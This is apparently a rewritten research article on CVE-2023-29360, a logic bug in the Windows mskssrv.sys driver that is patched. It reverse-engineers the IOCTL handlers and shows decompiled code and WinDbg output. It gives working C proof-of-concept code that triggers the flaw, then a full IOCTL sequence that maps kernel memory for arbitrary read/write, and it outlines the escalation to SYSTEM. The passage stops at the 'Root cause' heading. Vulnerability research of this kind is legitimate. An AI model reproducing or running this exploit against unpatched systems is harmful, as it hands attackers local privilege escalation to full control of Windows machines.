Chaining N-days to Compromise All: Windows Driver LPE: Medium to System
A Windows kernel driver, mskssrv.sys, allowed a user-mode application to lock an arbitrary kernel address into a memory descriptor list because the driver called MmProbeAndLockPages with KernelMode access mode, skipping address validation. An attacker could then map that MDL and read or write kernel memory, leading to privilege escalation from a normal user to SYSTEM.
medium.com
Published on medium.com
Vulnerability Research
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is the third part of a series on the vulnerabilities used in Theori's 1-day full chain exploit, demonstrated on X. This part covers the step that takes a user to SYSTEM so that the chain can continue into the VMware vulnerability: CVE-2023-29360, described by the authors as a logic bug in the mskssrv.sys driver.
mskssrv.sys processes streaming data, such as from a camera device, in kernel mode. The vulnerability was used by @Synacktiv at Pwn2Own 2023 Vancouver, was patched in June, and Fermium-252, Theori's threat intelligence service, has had both a PoC and an exploit for it since July 2023.

Setup
The analysis is done against the mskssrv.sys driver and the user-mode service that talks to it. The authors locate the device path by inspecting FrameServer, the service that handles streaming data. In its service DLL, FrameService.dll, the code that obtains the device handle looks like this:
__int64 __fastcall MSKSSrv_GetHandle(_QWORD *phandle)
{
...
result = CM_Get_Device_Interface_ListW(&[redacted], 0i64, buffer, bufferlen, 0);
if ( !result && *buffer)
{
handle = CreateFileW(buffer, 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);
if ( handle != (HANDLE)-1i64 )
{
*phandle = handle;
result = 0i64;
}
...
}
From this the device path is:
\\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
Calling DeviceIoControl on this driver reaches mskssrv!SrvDispatchIoControl. The patch comparison in the report is between ntoskrnl.exe(x64) versions 10.0.19041.2913 and 10.0.19041.3086.
Finding it
The report first explains the concept the bug turns on. A Memory Descriptor List (MDL) describes the physical page layout behind a range of contiguous virtual memory, which may be spread over discontiguous physical pages. The _MDL structure is laid out as follows:
0: kd> dt _MDL
nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
StartVa is the virtual address, ByteOffset the offset to start from, and MappedSystemVa the mapped virtual address the MDL describes. MappedSystemVa is only valid after locking and mapping through MmProbeAndLockPages and MmMapLockedPagesSpecifyCache respectively. The physical page address sits at the end of the _MDL structure. The usual usage pattern is:
PMDL pMDL = NULL;
pMDL = IoAllocateMdl(Address, Size, FALSE, FALSE, NULL);
__try
{
MmProbeAndLockPages(pMDL, AccessMode, IoReadAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl(pMDL);
return;
}
PVOID MappingData = MmMapLockedPagesSpecifyCache(pMDL, AccessMode, MmNonCached, NULL, FALSE, NormalPagePriority);
A WinDbg dump of a live _MDL shows the fields in practice, including the mapped address, the virtual address, the byte count and offset, and the physical page address at the end:
0: kd> dt _MDL ffffe78fc266bb30
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n64
+0x00a MdlFlags : 0n139
+0x00c AllocationProcessorNumber : 1
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffff8001`b72b1008 Void // Mapped Address
+0x020 StartVa : 0xffffc082`b38e3000 Void // Virtual Address
+0x028 ByteCount : 0x1008
+0x02c ByteOffset : 8 // Offset
0: kd> dq ffffe78fc266bb30 L8
ffffe78f`c266bb30 00000000`00000000 00000001`008b0040
ffffe78f`c266bb40 00000000`00000000 ffff8001`b72b1008
ffffe78f`c266bb50 ffffc082`b38e3000 00000008`00001008
ffffe78f`c266bb60 00000000`00229647 00000000`00220448
^^^^^^^^^^^^^^^^^
Physical Page Address
0: kd> db 0xffffc082`b38e3000 + 8
ffffc082`b38e3008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
ffffc082`b38e3018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
ffffc082`b38e3028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
ffffc082`b38e3038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
ffffc082`b38e3048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
ffffc082`b38e3058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
ffffc082`b38e3068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
ffffc082`b38e3078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
0: kd> !db 00229647*1000 + 8
#229647008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
#229647018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
#229647028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
#229647038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
#229647048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
#229647058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
#229647068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
#229647078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
0: kd> db 0xffff8001`b72b1008
ffff8001`b72b1008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
ffff8001`b72b1018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
ffff8001`b72b1028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
ffff8001`b72b1038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
ffff8001`b72b1048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
ffff8001`b72b1058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
ffff8001`b72b1068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
ffff8001`b72b1078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
The data read through the virtual address, the physical address and the mapped address is identical, which shows that the MDL maps the physical address and the virtual address to each other.
Exploitation
Step 1: reach the vulnerable IOCTL handler
SrvDispatchIoControl switches on the IOCTL code taken from the current stack location. The two cases relevant here are 0x2F0408, which calls FSRendezvousServer::PublishTx, and 0x2F0410, which calls FSRendezvousServer::ConsumeTx:
__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp);
FSRendezvousServer::Release(RendezvousServerObj);
}
...
case 0x2F0410:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp);
FSRendezvousServer::Release(RendezvousServerObj);
}
...
FSRendezvousServer::PublishTx in turn calls FSStreamReg::PublishTx:
__int64 __fastcall FSStreamReg::PublishTx(FSStreamReg *FsStreamRegObj, __int64 data)
{
result = FSStreamReg::CheckRecycle(FsStreamRegObj, data);
if ( result < 0 )
return result;
for ( idx = 0; idx < *(data + 0x24); ++idx )
{
offset = 0x88i64 * idx;
if ( *(offset + data + 0x70) )
{
buffer = operator new(0xD8ui64, unknown, 0x736C644Du);
if ( buffer )
{
*(buffer + 16) = 0;
*(buffer + 208) = 0;
memset((buffer + 24), 0, 0xB8ui64);
}
else
{
return 0xC000009A;
}
result = FSFrameMdl::AllocateMdl(buffer, offset + data + 0x28);
if ( result < 0 )
{
}
FSFrameMdlList::InsertTail((FsStreamRegObj + 0xC8), buffer);
...
}
}
...
}
After validating the user-supplied value, FSStreamReg::PublishTx loops as many times as the Count at data+0x24. For each iteration it allocates an MDL through FSFrameMdl::AllocateMdl using user-supplied data, and inserts the MDL information into the published list in the FsStreamReg object.
Step 2: the vulnerable allocation
FSFrameMdl::AllocateMdl copies the user data into the kernel buffer and calls FsAllocAndLockMdl with user-controllable arguments:
__int64 __fastcall FSFrameMdl::AllocateMdl(FSFrameMdl *FsFrameMdlobj, __int64 user_data)
{
HandleInformation = 0i64;
Object = 0i64;
memcpy(FsFrameMdlobj + 0x18, user_data, 0x88);
mapflag = *(user_data + 0x48);
if ( !mapflag )
{
}
switch(mapflag){
case 4:
case 8:
result = FsAllocAndLockMdl(*(user_data + 0x20), *(user_data + 0x34), FsFrameMdlobj + 0xA0);
if(result < 0){
}
case 1:
result = FsAllocAndLockMdl(*(user_data + 0x38), *(user_data + 0x44), FsFrameMdlobj + 0xB0);
if(result < 0){
}
...
}
...
}
FsAllocAndLockMdl allocates the MDL with IoAllocateMdl and locks it with MmProbeAndLockPages using IoWriteAccess:
__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if ( !address || !size || !mdl_object )
return 0xC000000D;
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if ( !Alloc_Mdl )
return 0xC000009A;
MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
*mdl_object = Alloc_Mdl;
return 0;
}
The second argument to MmProbeAndLockPages, AccessMode, is KernelMode(0). In MiProbeAndLockPrepare, the address range is only validated when AccessMode is non-zero:
__int64 __fastcall MiProbeAndLockPrepare(__int64 buffer, PMDL MemoryDescriptorList, unsigned __int64 address, unsigned int size, char AccessMode, int is_read, int flag)
{
v8 = is_read;
v10 = address + size;
*(_QWORD *)(buffer + 72) = KeGetCurrentThread();
v56 = 0;
*(_QWORD *)(buffer + 56) = MemoryDescriptorList;
*(_DWORD *)(buffer + 88) = is_read;
*(_QWORD *)buffer = address;
*(_QWORD *)(buffer + 8) = address + size;
if ( AccessMode ){
if ( address + size > 0x7FFFFFFF0000i64 || address >= address + size )
{
++dword_140C4E5F8;
return 0xC0000005;
}
}
...
}
With KernelMode(0), the check is skipped entirely, so a user application can lock an MDL over an arbitrary address, including kernel address space.
Step 3: satisfy the preconditions
Several conditions must hold before the vulnerable path is reached.
FSGetRendezvousServermust return theRendezvousServerObjwithout error. That object comes from the globalServerObj_1C0005048, which is set up inFSInitializeContextRendezvous, reachable with IOCTL0x2F0400:
__int64 __fastcall FSGetRendezvousServer(struct FSRendezvousServer **RendezvousServerObjPtr)
{
result = 0;
if ( ServerObj_1C0005048 )
{
*RendezvousServerObjPtr = ServerObj_1C0005048;
_InterlockedIncrement(ServerObj_1C0005048);
}
else
{
result = 0xC0000010;
}
KeReleaseMutex(&Mutex, 0);
return v2;
}
__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1)
{
...
RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);
if(RendezvousServerObj){
}
ServerObj_1C0005048 = RendezvousServerObj;
...
}
FSRendezvousServer::PublishTxvalidates the input buffer length and the counts, then requiresFSRendezvousServer::FindObjectto findobj->FileObject->FsContext2in the rendezvous server before callingFSStreamReg::PublishTx:
__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp)
{
...
data = (__int64)irp->AssociatedIrp.MasterIrp;
if ( !data )
return 0xC000000D;
inputbufferlen = v2->Parameters.DeviceIoControl.InputBufferLength;
if ( (unsigned int)inputbufferlen < 0xB0 )
return 0xC000000D;
cnt = *(_DWORD *)(data + 0x20);
if ( cnt - 1 > 0x12B || *(_DWORD *)(data + 0x24) > cnt || inputbufferlen < 0x88 * (unsigned __int64)(cnt - 1) + 0xB0 )
return 0xC000000D;
FSRendezvousServer::Lock(this);
FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;
isfindobj = FSRendezvousServer::FindObject(this, FsContext2);
KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);
if ( isfindobj )
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2);
result = FSStreamReg::PublishTx(FsContext2, data);
The length and count checks are easy to satisfy because the data is fully controllable. The FsContext2 value is used as the this pointer of FSStreamReg::PublishTx, which tells us it is an FSStreamReg object.
- That object is created by
FSRendezvousServer::InitializeStream, reachable with IOCTL0x2F0404, which stores the new object inobj->FileObject->FsContext2:
__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp)
{
obj = irp->Tail.Overlay.CurrentStackLocation;
if ( obj->Parameters.DeviceIoControl.IoControlCode != 0x2F0404 || obj->FileObject->FsContext2 )
{
result = 0xC0000010;
}
else
{
data = (__int64)irp->AssociatedIrp.MasterIrp;
buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u);
if ( buffer )
FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer);
if ( !FSStreamReg_obj )
return 0xC000009A;
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);
else
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);
...
obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;
_InterlockedIncrement(FSStreamReg_obj + 6);
...
Step 4: trigger the bug
The minimal PoC opens the device, initialises the rendezvous server, initialises a stream, then publishes a frame whose MDL is allocated over an arbitrary kernel address:
#include <windows.h>
#include <winternl.h>
#include <cfgmgr32.h>
#include <stdio.h>
#pragma comment(lib, "Cfgmgr32.lib")
#define inputsize 0x100
#define outputsize 0x100
int main() {
WCHAR DeviceLink[256] = L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";
HANDLE hDevice = NULL;
NTSTATUS ntstatus = 0;
hDevice = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);
PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);
printf("[+] Initialize Rendezvous\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff;
*(DWORD64*)(inputBuffer + 0x08) = 0;
*(DWORD64*)(inputBuffer + 0x10) = 0;
*(DWORD64*)(inputBuffer + 0x18) = 0;
ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
printf("[+] Initialize Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff;
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId();
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444;
*(DWORD*)(inputBuffer + 0x1C) = 4;
*(DWORD*)(inputBuffer + 0x20) = 0x4000;
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL);
ntstatus = DeviceIoControl(hDevice, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
ULONG_PTR targetaddr = 0xffffffff00031337;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %p\n", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1;
*(DWORD*)(inputBuffer + 0x24) = 1;
*(DWORD*)(inputBuffer + 0x28) = 1;
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000;
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000;
*(DWORD64*)(inputBuffer + 0x70) = 0x8;
ntstatus = DeviceIoControl(hDevice, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
}
The 0x2F0400 call creates the rendezvous server object. The 0x2F0404 call creates the FSStreamReg object and attaches it to the file object. The 0x2F0408 call sets Count at 0x20 and 0x24 to 1, sets the map flag at 0x70, and places the target address and size at the offsets that FSFrameMdl::AllocateMdl reads (user_data + 0x20/+0x34 and +0x38/+0x44). The result is a bugcheck, because the kernel faults while probing the bogus address:
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFFFFFF00031337,0x0000000000000002,0xFFFFBE8223684321,0x0000000000000002)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=0000000000000000 rdi=fffff8001db9a180
rip=fffff8001f805240 rsp=ffffbe8223683898 rbp=ffffbe8223683a00
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=0000000000000010 r12=0000000000000003 r13=ffffffff00031337
r14=0000000000000000 r15=ffff850b8e13a080
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
nt!DbgBreakPointWithStatus:
fffff800`1f805240 cc int 3
...
0: kd> kb
# RetAddr : Args to Child : Call Site
00 fffff800`1f9162f2 : ffffbe82`23683a00 fffff800`1f77f010 00000000`00000000 00000000`00000000 : nt!DbgBreakPointWithStatus
01 fffff800`1f9158d6 : 00000000`00000003 ffffbe82`23683a00 fffff800`1f813040 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
02 fffff800`1f7fbda7 : 00000000`00000000 00000000`00000000 ffffffff`00031337 fffff800`1db9a180 : nt!KeBugCheck2+0x946
03 fffff800`1f84ac53 : 00000000`00000050 ffffffff`00031337 00000000`00000002 ffffbe82`23684321 : nt!KeBugCheckEx+0x107
04 fffff800`1f66e7b0 : 00000000`00000000 00000000`00000002 ffffbe82`23684339 00000000`00000000 : nt!MiSystemFault+0x1b2273
05 fffff800`1f716f3c : ffff850b`8e9ef000 fffff800`1f6131b5 ffffffff`ffffffff ffffbe82`00000002 : nt!MmAccessFault+0x400
06 fffff800`1f66c9b7 : 00000000`00000000 ffffaa55`2a9fffe0 ffffbe82`23684450 ffffaa55`2a954aa0 : nt!MiFaultInProbeAddress+0xbc
07 fffff800`1f66bcd3 : 00000000`00000000 00000000`00000000 ffffbe82`236844c9 ffffffff`00031337 : nt!MiLockPageLeafPageTable+0x2b7
08 fffff800`1f66aa59 : 00000000`00000000 ffff850b`8ea172f0 00000000`00000000 00000000`00000000 : nt!MiProbeAndLockPages+0x153
09 fffff800`3e402c98 : ffff850b`8e9ef170 00000000`00000000 00000000`00000200 00000000`00000000 : nt!MmProbeAndLockPages+0x29
0a fffff800`3e40b824 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : MSKSSRV!FsAllocAndLockMdl+0x64
0b fffff800`3e40c63d : 00000000`00000000 00000000`00000000 ffff850b`8e9ef170 00000000`00000000 : MSKSSRV!FSFrameMdl::AllocateMdl+0x14
0c fffff800`3e40a7e9 : 00000000`00000001 ffff850b`8f3ce9e8 ffff850b`8f3ce7b0 ffff850b`8e8a05f0 : MSKSSRV!FSStreamReg::PublishTx+0x9d
0d fffff800`3e409513 : 00000000`00000000 ffffbe82`236846f0 ffff850b`8f3ce7b0 ffff850b`88405900 : MSKSSRV!FSRendezvousServer::PublishTx+0xdd
0e fffff800`27e7dddc : ffff850b`8f3ce7b0 ffff850b`8bb86430 ffff850b`8f3cea30 00000000`00000fff : MSKSSRV!SrvDispatchIoControl+0x143
...
Step 5: map the manipulated MDL
Locking an arbitrary address is only half the primitive. To use it, the manipulated MDL must be mapped. FSFrameMdl::MapPages does the mapping and is reachable from FSRendezvousServer::ConsumeTx, which is called with IOCTL 0x2F0410 and calls FSStreamReg::ConsumeTx internally:
__int64 __fastcall FSStreamReg::ConsumeTx(__int64 FsStreamReg, __int64 data)
{
if ( !data || !*(_DWORD *)(data + 0x20) )
return (unsigned int)-1073741811;
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled()
&& (!*(_DWORD *)(FsStreamReg + 0x28) || !*(_DWORD *)(FsStreamReg + 0x2C)) )
{
return 0xC0000466;
}
*(_DWORD *)(data + 0x24) = 0;
list = (_QWORD *)(FsStreamReg + 0x110);
if ( (_QWORD *)*list != list )
{
while ( 1 )
{
FsFrameMdl = FSList::RemoveHead((FSList *)(FsStreamReg + 0x108));
...
result = FSFrameMdl::MapPages(
FsFrameMdl,
*(struct _EPROCESS **)(FsStreamReg + 0x38),
*(struct _EPROCESS **)(FsStreamReg + 0x40),
(struct FSMemoryStream *)(136 * v10 + data + 0x28));
...
FSFrameMdlList::InsertTail((FSFrameMdlList *)(FsStreamReg + 0x140), (struct FSFrameMdl *)FsFrameMdl);
...
}
FSStreamReg::ConsumeTx checks flags on the FsStreamReg object, removes the FsFrameMdl holding the manipulated MDL from the published list, and calls FSFrameMdl::MapPages on it. The flags at FsStreamReg + 0x28 and FsStreamReg + 0x2C must both be non-NULL. They are set in FSStreamReg::Initialize and FSStreamReg::Register respectively:
__int64 __fastcall FSStreamReg::Initialize(__int64 FsStreamReg, struct _IRP *a2, struct FSRegObjectList *a3, __int64 data, char a5)
{
...
result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 320), v9, a5);
if ( result < 0 )
return (unsigned int)result;
currentProc = IoGetCurrentProcess();
result = FSRegObject::SetInitProcess((FSRegObject *)FsStreamReg, currentProc);
if ( result < 0 )
return (unsigned int)result;
...
*(_DWORD *)(FsStreamReg + 440) = *(_DWORD *)(data + 32) << 10;
*(_DWORD *)(FsStreamReg + 448) = *(_DWORD *)(data + 28);
*(_DWORD *)(FsStreamReg + 152) = 1;
*(_QWORD *)(FsStreamReg + 160) = *(_QWORD *)(data + 8);
*(_QWORD *)(FsStreamReg + 168) = *(_QWORD *)(data + 16);
*(_DWORD *)(FsStreamReg + 176) = *(_DWORD *)(data + 24);
*(_DWORD *)(FsStreamReg + 180) = *(_DWORD *)(data + 28);
*(_QWORD *)(FsStreamReg + 192) = 0i64;
*(_DWORD *)(FsStreamReg + 0x28) = 1;
*(_QWORD *)(FsStreamReg + 456) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
return v5;
}
__int64 __fastcall FSStreamReg::Register(__int64 FsStreamReg, struct _IRP *a2, const struct _FSStreamRegInfo *a3, KPROCESSOR_MODE a4)
{
...
result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 200), v9, a4);
if ( result < 0 )
return (unsigned int)result;
currentProc = IoGetCurrentProcess();
result = FSRegObject::SetRegProcess((FSRegObject *)FsStreamReg, currentProc);
if ( result < 0 )
return (unsigned int)result;
*(_DWORD *)(FsStreamReg + 0x98) |= 2u;
*(_QWORD *)(FsStreamReg + 0x1D0) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
*(_DWORD *)(FsStreamReg + 0x2C) = 1;
return v4;
}
FSStreamReg::Initialize runs as part of FSRendezvousServer::InitializeStream, which the PoC already calls. FSStreamReg::Register runs in FSRendezvousServer::RegisterStream, triggered with IOCTL 0x2F0420:
__int64 __fastcall FSRendezvousServer::RegisterStream(FSRendezvousServer *this, struct _IRP *a2)
{
obj = a2->Tail.Overlay.CurrentStackLocation;
if ( obj->Parameters.Read.ByteOffset.LowPart != 0x2F0420 || obj->FileObject->FsContext2 )
return 0xC0000010;
data = (__int64)a2->AssociatedIrp.MasterIrp;
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
v11 = FSStreamReg::Register(FSStreamReg, a2, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
else
v11 = FSStreamReg::Register(FSStreamReg, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
}
RegisterStream returns immediately if obj->FileObject->FsContext2 is not NULL. Since that field was already set to the FSStreamReg object when triggering the vulnerability, the condition would fail on the same handle. It is easily satisfied by opening a second handle to the device, because obj->FileObject is allocated per handle.
Step 6: arbitrary read/write
The full sequence uses two handles: a client handle that initialises the stream and publishes the frame, and a server handle that registers the stream. The client then consumes the frame to map the MDL and reads the mapped address from the output buffer at offset 0x48:
hDeviceClient = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL);
PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
printf("[+] Initialize Rendezvous\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff;
*(DWORD64*)(inputBuffer + 0x08) = 0;
*(DWORD64*)(inputBuffer + 0x10) = 0;
*(DWORD64*)(inputBuffer + 0x18) = 0;
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
printf("[+] Initialize Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff;
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId();
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444;
*(DWORD*)(inputBuffer + 0x1C) = 4;
*(DWORD*)(inputBuffer + 0x20) = 0x4000;
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL);
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
hDeviceServer = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL);
printf("[+] Register Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff;
*(DWORD64*)(inputBuffer + 0x8) = GetCurrentProcessId();
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444;
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, 0, 0, NULL);
ntstatus = DeviceIoControl(hDeviceServer, 0x2F0420, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
ULONG_PTR targetaddr = TARGET_ADDRESS;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %p\n", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1;
*(DWORD*)(inputBuffer + 0x24) = 1;
*(DWORD*)(inputBuffer + 0x28) = 1;
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000;
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000;
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008;
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
printf("[+] ComsumeTx, Mapping MDL ==> Arbitrary R/W\n");
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);
*(DWORD*)(inputBuffer + 0x20) = 1;
*(DWORD*)(inputBuffer + 0x24) = 1;
*(DWORD*)(inputBuffer + 0x28) = 1;
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000;
*(DWORD64*)(inputBuffer + 0x60) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x6C) = 0x1000;
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008;
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0410, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
DWORD64 mapaddr = *(DWORD64*)(outputBuffer + 0x48);
printf("[*] mapaddr : %p\n", mapaddr);
With the mapped address in hand, the authors say any preferred method can be used to elevate privileges from the resulting arbitrary read/write primitive. In their 1-day full chain they enable the privilege bit in the token object and inject a malicious DLL into a SYSTEM-privileged process to get code execution, referring to the BlackHat 2012 technique by Cerrudo.
Root cause
